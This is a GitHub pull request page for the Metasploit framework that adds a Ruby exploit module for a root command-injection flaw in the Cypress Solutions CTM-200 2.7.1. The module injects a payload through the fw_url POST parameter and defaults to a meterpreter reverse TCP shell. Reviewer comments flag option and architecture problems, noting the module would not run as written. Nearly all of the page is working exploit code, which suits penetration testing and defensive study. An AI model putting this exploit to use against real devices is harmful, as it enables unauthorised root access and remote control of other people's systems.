-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Cypress Solutions CTM-200 2.7.1 Root Remote OS Command Injection #19425
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change | ||||||
---|---|---|---|---|---|---|---|---|
@@ -0,0 +1,120 @@ | ||||||||
## | ||||||||
# This module requires Metasploit: https://metasploit.com/download | ||||||||
# Current source: https://github.com/rapid7/metasploit-framework | ||||||||
## | ||||||||
|
||||||||
require 'msf/core' | ||||||||
require 'uri' | ||||||||
|
||||||||
class MetasploitModule < Msf::Exploit::Remote | ||||||||
Rank = ExcellentRanking | ||||||||
|
||||||||
include Msf::Exploit::Remote::HttpClient | ||||||||
|
||||||||
def initialize(info = {}) | ||||||||
super( | ||||||||
update_info( | ||||||||
info, | ||||||||
'Name' => 'Cypress Solutions CTM-200 2.7.1 Root Remote OS Command Injection', | ||||||||
'Description' => %q{ | ||||||||
This module exploits a command injection vulnerability in the Cypress Solutions CTM-200 version 2.7.1. | ||||||||
By injecting commands via the `fw_url` POST parameter in the `ctm-config-upgrade.sh` script, | ||||||||
an attacker can execute arbitrary commands as the root user. | ||||||||
}, | ||||||||
'License' => MSF_LICENSE, | ||||||||
'Author' => | ||||||||
[ | ||||||||
'Berk Dusunur' # Metasploit Module Author | ||||||||
], | ||||||||
'References' => [ | ||||||||
['CVE', '2021-5687'], | ||||||||
['URL', 'https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5687.php'], | ||||||||
['URL', 'https://www.exploit-db.com/exploits/50408'] | ||||||||
], | ||||||||
'Privileged' => true, | ||||||||
'Payload' => { | ||||||||
'Space' => 2048, | ||||||||
'BadChars' => '' | ||||||||
}, | ||||||||
'Platform' => ['unix'], | ||||||||
'Arch' => [ARCH_CMD], | ||||||||
'Targets' => [['Automatic', {}]], | ||||||||
'DefaultTarget' => 0, | ||||||||
'DisclosureDate' => '2021-09-21', | ||||||||
'DefaultOptions' => { | ||||||||
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' | ||||||||
} | ||||||||
) | ||||||||
) | ||||||||
|
||||||||
register_options( | ||||||||
[ | ||||||||
OptString.new('TARGETURI', [true, 'The base path to the vulnerable application', '/cgi-bin/webif/ctm-config-upgrade.sh']), | ||||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. The In this case the default value can be set to |
||||||||
OptString.new('RHOST', [true, 'The target address']), | ||||||||
OptString.new('LHOST', [true, 'The local host for reverse shell']), | ||||||||
OptString.new('LPORT', [true, 'The local port for reverse shell']) | ||||||||
Comment on lines
+53
to
+55
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. These datastore options don't need to be explicitly defined here. The payload the user selects will include them if necessary.
Suggested change
|
||||||||
] | ||||||||
) | ||||||||
end | ||||||||
|
||||||||
def check | ||||||||
# Generate a random string to use in our payload | ||||||||
unique_string = "echo '#{Rex::Text.rand_text_alphanumeric(10..15)}'" | ||||||||
|
||||||||
# Construct the payload with the unique_string | ||||||||
payload = "`#{unique_string}`" | ||||||||
|
||||||||
# Prepare the POST request to test the vulnerability | ||||||||
data = { | ||||||||
'submit' => '1', | ||||||||
'upgradefile' => '', | ||||||||
'fw_url' => payload, | ||||||||
'install_fw_url' => 'Start Firmware Upgrade from URL', | ||||||||
'pkgurl' => '' | ||||||||
} | ||||||||
|
||||||||
# Send the POST request to the target | ||||||||
res = send_request_cgi({ | ||||||||
'method' => 'POST', | ||||||||
'uri' => normalize_uri(target_uri.path), | ||||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
|
||||||||
'vars_post' => data | ||||||||
}) | ||||||||
|
||||||||
unless res | ||||||||
vprint_error 'Connection failed' | ||||||||
return CheckCode::Unknown | ||||||||
end | ||||||||
|
||||||||
# Check if the random string is in the response body | ||||||||
if res.code == 200 && res.body.include?(unique_string) | ||||||||
return CheckCode::Vulnerable | ||||||||
end | ||||||||
|
||||||||
CheckCode::Safe | ||||||||
end | ||||||||
|
||||||||
def exploit | ||||||||
payload = "#{payload.encoded}" | ||||||||
data = { | ||||||||
'submit' => '1', | ||||||||
'upgradefile' => '', | ||||||||
'fw_url' => payload, | ||||||||
'install_fw_url' => 'Start Firmware Upgrade from URL', | ||||||||
'pkgurl' => '' | ||||||||
} | ||||||||
|
||||||||
res = send_request_cgi({ | ||||||||
'method' => 'POST', | ||||||||
'uri' => normalize_uri(target_uri.path), | ||||||||
'vars_post' => data, | ||||||||
'rport' => rport | ||||||||
}) | ||||||||
|
||||||||
if res && res.code == 200 | ||||||||
print_good('Exploit sent successfully. Listening meterpreter shell') | ||||||||
else | ||||||||
print_error('Exploit failed. Target may not be vulnerable.') | ||||||||
end | ||||||||
end | ||||||||
end | ||||||||
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
When looking up this device I noticed:
The
linux/x86/meterpreter/reverse_tcp
payload has anArch
ofARCH_X86
.In the module you've defined the only supported
Arch
to beARCH_CMD
so I don't think this would run as is.You'd likely want to keep
ARCH_CMD
defined and find a CMD based payload this is supported by the device. Then if you also want to include aLinux Dropper
payload which would make use of the includeMsf::Exploit::CmdStager
mixin you would want to define that target to use one of our ARM based meterpreter payloads.